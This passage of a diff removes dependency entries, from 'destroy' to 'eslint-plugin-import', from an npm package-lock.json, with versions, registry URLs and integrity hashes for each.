-      "integrity": "sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA==",
-      "requires": {
-        "inherits": "^2.0.1",
-        "minimalistic-assert": "^1.0.0"
-      }
-    },
-    "destroy": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz",
-      "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA="
-    },
-    "detect-newline": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-2.1.0.tgz",
-      "integrity": "sha1-9B8cEL5LAOh7XxPaaAdZ8sW/0+I="
-    },
-    "detect-node": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.0.4.tgz",
-      "integrity": "sha512-ZIzRpLJrOj7jjP2miAtgqIfmzbxa4ZOr5jJc601zklsfEx9oTzmmj2nVpIPRpNlRTIh8lc1kyViIY7BWSGNmKw=="
-    },
-    "detect-port-alt": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npmjs.org/detect-port-alt/-/detect-port-alt-1.1.6.tgz",
-      "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==",
-      "requires": {
-        "address": "^1.0.1",
-        "debug": "^2.6.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        }
-      }
-    },
-    "diff-sequences": {
-      "version": "24.9.0",
-      "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-24.9.0.tgz",
-      "integrity": "sha512-Dj6Wk3tWyTE+Fo1rW8v0Xhwk80um6yFYKbuAxc9c3EZxIHFDYwbi34Uk42u1CdnIiVorvt4RmlSDjIPyzGC2ew=="
-    },
-    "diffie-hellman": {
-      "version": "5.0.3",
-      "resolved": "https://registry.npmjs.org/diffie-hellman/-/diffie-hellman-5.0.3.tgz",
-      "integrity": "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==",
-      "requires": {
-        "bn.js": "^4.1.0",
-        "miller-rabin": "^4.0.0",
-        "randombytes": "^2.0.0"
-      }
-    },
-    "dir-glob": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-2.0.0.tgz",
-      "integrity": "sha512-37qirFDz8cA5fimp9feo43fSuRo2gHwaIn6dXL8Ber1dGwUosDrGZeCCXq57WnIqE4aQ+u3eQZzsk1yOzhdwag==",
-      "requires": {
-        "arrify": "^1.0.1",
-        "path-type": "^3.0.0"
-      }
-    },
-    "dns-equal": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz",
-      "integrity": "sha1-s55/HabrCnW6nBcySzR1PEfgZU0="
-    },
-    "dns-packet": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-1.3.1.tgz",
-      "integrity": "sha512-0UxfQkMhYAUaZI+xrNZOz/as5KgDU0M/fQ9b6SpkyLbk3GEswDi6PADJVaYJradtRVsRIlF1zLyOodbcTCDzUg==",
-      "requires": {
-        "ip": "^1.1.0",
-        "safe-buffer": "^5.0.1"
-      }
-    },
-    "dns-txt": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/dns-txt/-/dns-txt-2.0.2.tgz",
-      "integrity": "sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=",
-      "requires": {
-        "buffer-indexof": "^1.0.0"
-      }
-    },
-    "doctrine": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz",
-      "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==",
-      "requires": {
-        "esutils": "^2.0.2"
-      }
-    },
-    "dom-accessibility-api": {
-      "version": "0.3.0",
-      "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.3.0.tgz",
-      "integrity": "sha512-PzwHEmsRP3IGY4gv/Ug+rMeaTIyTJvadCb+ujYXYeIylbHJezIyNToe8KfEgHTCEYyC+/bUghYOGg8yMGlZ6vA=="
-    },
-    "dom-converter": {
-      "version": "0.2.0",
-      "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz",
-      "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==",
-      "requires": {
-        "utila": "~0.4"
-      }
-    },
-    "dom-serializer": {
-      "version": "0.2.2",
-      "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz",
-      "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==",
-      "requires": {
-        "domelementtype": "^2.0.1",
-        "entities": "^2.0.0"
-      },
-      "dependencies": {
-        "domelementtype": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.0.1.tgz",
-          "integrity": "sha512-5HOHUDsYZWV8FGWN0Njbr/Rn7f/eWSQi1v7+HsUVwXgn8nWWlL64zKDkS0n8ZmQ3mlWOMuXOnR+7Nx/5tMO5AQ=="
-        }
-      }
-    },
-    "domain-browser": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/domain-browser/-/domain-browser-1.2.0.tgz",
-      "integrity": "sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA=="
-    },
-    "domelementtype": {
-      "version": "1.3.1",
-      "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz",
-      "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w=="
-    },
-    "domexception": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/domexception/-/domexception-1.0.1.tgz",
-      "integrity": "sha512-raigMkn7CJNNo6Ihro1fzG7wr3fHuYVytzquZKX5n0yizGsTcYgzdIUwj1X9pK0VvjeihV+XiclP+DjwbsSKug==",
-      "requires": {
-        "webidl-conversions": "^4.0.2"
-      }
-    },
-    "domhandler": {
-      "version": "2.4.2",
-      "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-2.4.2.tgz",
-      "integrity": "sha512-JiK04h0Ht5u/80fdLMCEmV4zkNh2BcoMFBmZ/91WtYZ8qVXSKjiw7fXMgFPnHcSZgOo3XdinHvmnDUeMf5R4wA==",
-      "requires": {
-        "domelementtype": "1"
-      }
-    },
-    "domutils": {
-      "version": "1.7.0",
-      "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz",
-      "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==",
-      "requires": {
-        "dom-serializer": "0",
-        "domelementtype": "1"
-      }
-    },
-    "dot-case": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.3.tgz",
-      "integrity": "sha512-7hwEmg6RiSQfm/GwPL4AAWXKy3YNNZA3oFv2Pdiey0mwkRCPZ9x6SZbkLcn8Ma5PYeVokzoD4Twv2n7LKp5WeA==",
-      "requires": {
-        "no-case": "^3.0.3",
-        "tslib": "^1.10.0"
-      }
-    },
-    "dot-prop": {
-      "version": "5.2.0",
-      "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.2.0.tgz",
-      "integrity": "sha512-uEUyaDKoSQ1M4Oq8l45hSE26SnTxL6snNnqvK/VWx5wJhmff5z0FUVJDKDanor/6w3kzE3i7XZOk+7wC0EXr1A==",
-      "requires": {
-        "is-obj": "^2.0.0"
-      }
-    },
-    "dotenv": {
-      "version": "8.2.0",
-      "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-8.2.0.tgz",
-      "integrity": "sha512-8sJ78ElpbDJBHNeBzUbUVLsqKdccaa/BXF1uPTw3GrvQTBgrQrtObr2mUrE38vzYd8cEv+m/JBfDLioYcfXoaw=="
-    },
-    "dotenv-expand": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-5.1.0.tgz",
-      "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA=="
-    },
-    "duplexer": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.1.tgz",
-      "integrity": "sha1-rOb/gIwc5mtX0ev5eXessCM0z8E="
-    },
-    "duplexify": {
-      "version": "3.7.1",
-      "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz",
-      "integrity": "sha512-07z8uv2wMyS51kKhD1KsdXJg5WQ6t93RneqRxUHnskXVtlYYkLqM0gqStQZ3pj073g687jPCHrqNfCzawLYh5g==",
-      "requires": {
-        "end-of-stream": "^1.0.0",
-        "inherits": "^2.0.1",
-        "readable-stream": "^2.0.0",
-        "stream-shift": "^1.0.0"
-      },
-      "dependencies": {
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "ecc-jsbn": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz",
-      "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=",
-      "requires": {
-        "jsbn": "~0.1.0",
-        "safer-buffer": "^2.1.0"
-      }
-    },
-    "ee-first": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
-      "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0="
-    },
-    "electron-to-chromium": {
-      "version": "1.3.408",
-      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.408.tgz",
-      "integrity": "sha512-vn1zWIxIdyl0MR72lr81/7kHYTRlDRjJT4ocp8dtb85VhH46J3lNqDMEBljAKPKgguqjK0+WAbf3IL6ZKw72kQ=="
-    },
-    "elliptic": {
-      "version": "6.5.2",
-      "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.5.2.tgz",
-      "integrity": "sha512-f4x70okzZbIQl/NSRLkI/+tteV/9WqL98zx+SQ69KbXxmVrmjwsNUPn/gYJJ0sHvEak24cZgHIPegRePAtA/xw==",
-      "requires": {
-        "bn.js": "^4.4.0",
-        "brorand": "^1.0.1",
-        "hash.js": "^1.0.0",
-        "hmac-drbg": "^1.0.0",
-        "inherits": "^2.0.1",
-        "minimalistic-assert": "^1.0.0",
-        "minimalistic-crypto-utils": "^1.0.0"
-      }
-    },
-    "emoji-regex": {
-      "version": "8.0.0",
-      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
-      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
-    },
-    "emojis-list": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz",
-      "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q=="
-    },
-    "encodeurl": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
-      "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k="
-    },
-    "end-of-stream": {
-      "version": "1.4.4",
-      "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz",
-      "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==",
-      "requires": {
-        "once": "^1.4.0"
-      }
-    },
-    "enhanced-resolve": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.1.1.tgz",
-      "integrity": "sha512-98p2zE+rL7/g/DzMHMTF4zZlCgeVdJ7yr6xzEpJRYwFYrGi9ANdn5DnJURg6RpBkyk60XYDnWIv51VfIhfNGuA==",
-      "requires": {
-        "graceful-fs": "^4.1.2",
-        "memory-fs": "^0.5.0",
-        "tapable": "^1.0.0"
-      },
-      "dependencies": {
-        "memory-fs": {
-          "version": "0.5.0",
-          "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz",
-          "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==",
-          "requires": {
-            "errno": "^0.1.3",
-            "readable-stream": "^2.0.1"
-          }
-        },
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "entities": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/entities/-/entities-2.0.0.tgz",
-      "integrity": "sha512-D9f7V0JSRwIxlRI2mjMqufDrRDnx8p+eEOz7aUM9SuvF8gsBzra0/6tbjl1m8eQHrZlYj6PxqE00hZ1SAIKPLw=="
-    },
-    "errno": {
-      "version": "0.1.7",
-      "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.7.tgz",
-      "integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==",
-      "requires": {
-        "prr": "~1.0.1"
-      }
-    },
-    "error-ex": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
-      "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
-      "requires": {
-        "is-arrayish": "^0.2.1"
-      }
-    },
-    "es-abstract": {
-      "version": "1.17.5",
-      "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.17.5.tgz",
-      "integrity": "sha512-BR9auzDbySxOcfog0tLECW8l28eRGpDpU3Dm3Hp4q/N+VtLTmyj4EUN088XZWQDW/hzj6sYRDXeOFsaAODKvpg==",
-      "requires": {
-        "es-to-primitive": "^1.2.1",
-        "function-bind": "^1.1.1",
-        "has": "^1.0.3",
-        "has-symbols": "^1.0.1",
-        "is-callable": "^1.1.5",
-        "is-regex": "^1.0.5",
-        "object-inspect": "^1.7.0",
-        "object-keys": "^1.1.1",
-        "object.assign": "^4.1.0",
-        "string.prototype.trimleft": "^2.1.1",
-        "string.prototype.trimright": "^2.1.1"
-      }
-    },
-    "es-to-primitive": {
-      "version": "1.2.1",
-      "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz",
-      "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==",
-      "requires": {
-        "is-callable": "^1.1.4",
-        "is-date-object": "^1.0.1",
-        "is-symbol": "^1.0.2"
-      }
-    },
-    "es5-ext": {
-      "version": "0.10.53",
-      "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.53.tgz",
-      "integrity": "sha512-Xs2Stw6NiNHWypzRTY1MtaG/uJlwCk8kH81920ma8mvN8Xq1gsfhZvpkImLQArw8AHnv8MT2I45J3c0R8slE+Q==",
-      "requires": {
-        "es6-iterator": "~2.0.3",
-        "es6-symbol": "~3.1.3",
-        "next-tick": "~1.0.0"
-      }
-    },
-    "es6-iterator": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz",
-      "integrity": "sha1-p96IkUGgWpSwhUQDstCg+/qY87c=",
-      "requires": {
-        "d": "1",
-        "es5-ext": "^0.10.35",
-        "es6-symbol": "^3.1.1"
-      }
-    },
-    "es6-symbol": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz",
-      "integrity": "sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==",
-      "requires": {
-        "d": "^1.0.1",
-        "ext": "^1.1.2"
-      }
-    },
-    "escape-html": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
-      "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg="
-    },
-    "escape-string-regexp": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
-      "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ="
-    },
-    "escodegen": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.14.1.tgz",
-      "integrity": "sha512-Bmt7NcRySdIfNPfU2ZoXDrrXsG9ZjvDxcAlMfDUgRBjLOWTuIACXPBFJH7Z+cLb40JeQco5toikyc9t9P8E9SQ==",
-      "requires": {
-        "esprima": "^4.0.1",
-        "estraverse": "^4.2.0",
-        "esutils": "^2.0.2",
-        "optionator": "^0.8.1",
-        "source-map": "~0.6.1"
-      }
-    },
-    "eslint": {
-      "version": "6.8.0",
-      "resolved": "https://registry.npmjs.org/eslint/-/eslint-6.8.0.tgz",
-      "integrity": "sha512-K+Iayyo2LtyYhDSYwz5D5QdWw0hCacNzyq1Y821Xna2xSJj7cijoLLYmLxTQgcgZ9mC61nryMy9S7GRbYpI5Ig==",
-      "requires": {
-        "@babel/code-frame": "^7.0.0",
-        "ajv": "^6.10.0",
-        "chalk": "^2.1.0",
-        "cross-spawn": "^6.0.5",
-        "debug": "^4.0.1",
-        "doctrine": "^3.0.0",
-        "eslint-scope": "^5.0.0",
-        "eslint-utils": "^1.4.3",
-        "eslint-visitor-keys": "^1.1.0",
-        "espree": "^6.1.2",
-        "esquery": "^1.0.1",
-        "esutils": "^2.0.2",
-        "file-entry-cache": "^5.0.1",
-        "functional-red-black-tree": "^1.0.1",
-        "glob-parent": "^5.0.0",
-        "globals": "^12.1.0",
-        "ignore": "^4.0.6",
-        "import-fresh": "^3.0.0",
-        "imurmurhash": "^0.1.4",
-        "inquirer": "^7.0.0",
-        "is-glob": "^4.0.0",
-        "js-yaml": "^3.13.1",
-        "json-stable-stringify-without-jsonify": "^1.0.1",
-        "levn": "^0.3.0",
-        "lodash": "^4.17.14",
-        "minimatch": "^3.0.4",
-        "mkdirp": "^0.5.1",
-        "natural-compare": "^1.4.0",
-        "optionator": "^0.8.3",
-        "progress": "^2.0.0",
-        "regexpp": "^2.0.1",
-        "semver": "^6.1.2",
-        "strip-ansi": "^5.2.0",
-        "strip-json-comments": "^3.0.1",
-        "table": "^5.2.3",
-        "text-table": "^0.2.0",
-        "v8-compile-cache": "^2.0.3"
-      },
-      "dependencies": {
-        "eslint-utils": {
-          "version": "1.4.3",
-          "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.4.3.tgz",
-          "integrity": "sha512-fbBN5W2xdY45KulGXmLHZ3c3FHfVYmKg0IrAKGOkT/464PQsx2UeIzfz1RmEci+KLm1bBaAzZAh8+/E+XAeZ8Q==",
-          "requires": {
-            "eslint-visitor-keys": "^1.1.0"
-          }
-        },
-        "globals": {
-          "version": "12.4.0",
-          "resolved": "https://registry.npmjs.org/globals/-/globals-12.4.0.tgz",
-          "integrity": "sha512-BWICuzzDvDoH54NHKCseDanAhE3CeDorgDL5MT6LMXXj2WCnd9UC2szdk4AWLfjdgNBCXLUanXYcpBBKOSWGwg==",
-          "requires": {
-            "type-fest": "^0.8.1"
-          }
-        },
-        "import-fresh": {
-          "version": "3.2.1",
-          "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.2.1.tgz",
-          "integrity": "sha512-6e1q1cnWP2RXD9/keSkxHScg508CdXqXWgWBaETNhyuBFz+kUZlKboh+ISK+bU++DmbHimVBrOz/zzPe0sZ3sQ==",
-          "requires": {
-            "parent-module": "^1.0.0",
-            "resolve-from": "^4.0.0"
-          }
-        },
-        "regexpp": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.1.tgz",
-          "integrity": "sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw=="
-        },
-        "resolve-from": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
-          "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g=="
-        }
-      }
-    },
-    "eslint-config-react-app": {
-      "version": "5.2.1",
-      "resolved": "https://registry.npmjs.org/eslint-config-react-app/-/eslint-config-react-app-5.2.1.tgz",
-      "integrity": "sha512-pGIZ8t0mFLcV+6ZirRgYK6RVqUIKRIi9MmgzUEmrIknsn3AdO0I32asO86dJgloHq+9ZPl8UIg8mYrvgP5u2wQ==",
-      "requires": {
-        "confusing-browser-globals": "^1.0.9"
-      }
-    },
-    "eslint-import-resolver-node": {
-      "version": "0.3.3",
-      "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.3.tgz",
-      "integrity": "sha512-b8crLDo0M5RSe5YG8Pu2DYBj71tSB6OvXkfzwbJU2w7y8P4/yo0MyF8jU26IEuEuHF2K5/gcAJE3LhQGqBBbVg==",
-      "requires": {
-        "debug": "^2.6.9",
-        "resolve": "^1.13.1"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        }
-      }
-    },
-    "eslint-loader": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-3.0.3.tgz",
-      "integrity": "sha512-+YRqB95PnNvxNp1HEjQmvf9KNvCin5HXYYseOXVC2U0KEcw4IkQ2IQEBG46j7+gW39bMzeu0GsUhVbBY3Votpw==",
-      "requires": {
-        "fs-extra": "^8.1.0",
-        "loader-fs-cache": "^1.0.2",
-        "loader-utils": "^1.2.3",
-        "object-hash": "^2.0.1",
-        "schema-utils": "^2.6.1"
-      }
-    },
-    "eslint-module-utils": {
-      "version": "2.6.0",
-      "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.6.0.tgz",
-      "integrity": "sha512-6j9xxegbqe8/kZY8cYpcp0xhbK0EgJlg3g9mib3/miLaExuuwc3n5UEfSnU6hWMbT0FAYVvDbL9RrRgpUeQIvA==",
-      "requires": {
-        "debug": "^2.6.9",
-        "pkg-dir": "^2.0.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        },
-        "pkg-dir": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-2.0.0.tgz",
-          "integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=",
-          "requires": {
-            "find-up": "^2.1.0"
-          }
-        }
-      }
-    },
-    "eslint-plugin-flowtype": {
-      "version": "4.6.0",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-flowtype/-/eslint-plugin-flowtype-4.6.0.tgz",
-      "integrity": "sha512-W5hLjpFfZyZsXfo5anlu7HM970JBDqbEshAJUkeczP6BFCIfJXuiIBQXyberLRtOStT0OGPF8efeTbxlHk4LpQ==",
-      "requires": {
-        "lodash": "^4.17.15"
-      }
-    },
-    "eslint-plugin-import": {
-      "version": "2.20.1",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.20.1.tgz",
-      "integrity": "sha512-qQHgFOTjguR+LnYRoToeZWT62XM55MBVXObHM6SKFd1VzDcX/vqT1kAz8ssqigh5eMj8qXcRoXXGZpPP6RfdCw==",
-      "requires": {
-        "array-includes": "^3.0.3",
-        "array.prototype.flat": "^1.2.1",
-        "contains-path": "^0.1.0",
-        "debug": "^2.6.9",
-        "doctrine": "1.5.0",
-        "eslint-import-resolver-node": "^0.3.2",
-        "eslint-module-utils": "^2.4.1",
-        "has": "^1.0.3",
-        "minimatch": "^3.0.4",
-        "object.values": "^1.1.0",
-        "read-pkg-up": "^2.0.0",
-        "resolve": "^1.12.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "doctrine": {
-          "version": "1.5.0",
-          "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-1.5.0.tgz",
-          "integrity": "sha1-N53Ocw9hZvds76TmcHoVmwLFpvo=",
-          "requires": {
-            "esutils": "^2.0.2",
-            "isarray": "^1.0.0"
-          }
-        },
-        "load-json-file": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-2.0.0.tgz",
